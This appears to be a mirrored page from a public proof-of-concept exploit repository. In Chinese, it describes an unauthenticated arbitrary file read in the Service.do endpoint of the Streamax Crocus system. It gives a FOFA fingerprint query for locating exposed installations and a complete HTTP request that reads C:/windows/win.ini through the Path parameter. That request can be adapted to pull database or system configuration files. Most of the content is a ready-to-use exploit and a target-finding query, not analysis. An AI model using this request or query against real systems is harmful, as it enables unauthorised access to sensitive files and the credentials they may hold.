mirror of
https://github.com/adysec/POC.git
synced 2025-11-07 11:23:53 +00:00
25 lines
980 B
Markdown
25 lines
980 B
Markdown
## 锐明技术Crocus系统Service.do任意文件读取漏洞
|
||
|
||
锐明技术Crocus系统 Service.do接口存在任意文件读取漏洞，未经过身份验证的远程攻击者可通过该漏洞读取系统重要文件（如数据库配置文件、系统配置文件）、数据库配置文件等等，导致网站处于极度不安全状态。
|
||
|
||
## fofa
|
||
|
||
```
|
||
body="/ThirdResource/respond/respond.min.js" && title="Crocus"
|
||
```
|
||
|
||
## poc
|
||
|
||
```
|
||
GET /Service.do?Action=Download&Path=C:/windows/win.ini HTTP/1.1
|
||
Host: your-ip
|
||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
|
||
Accept: application/json, text/javascript, */*; q=0.01
|
||
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
||
Accept-Encoding: gzip, deflate
|
||
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
||
X-Requested-With: XMLHttpRequest
|
||
Connection: close
|
||
```
|
||
|
||
 |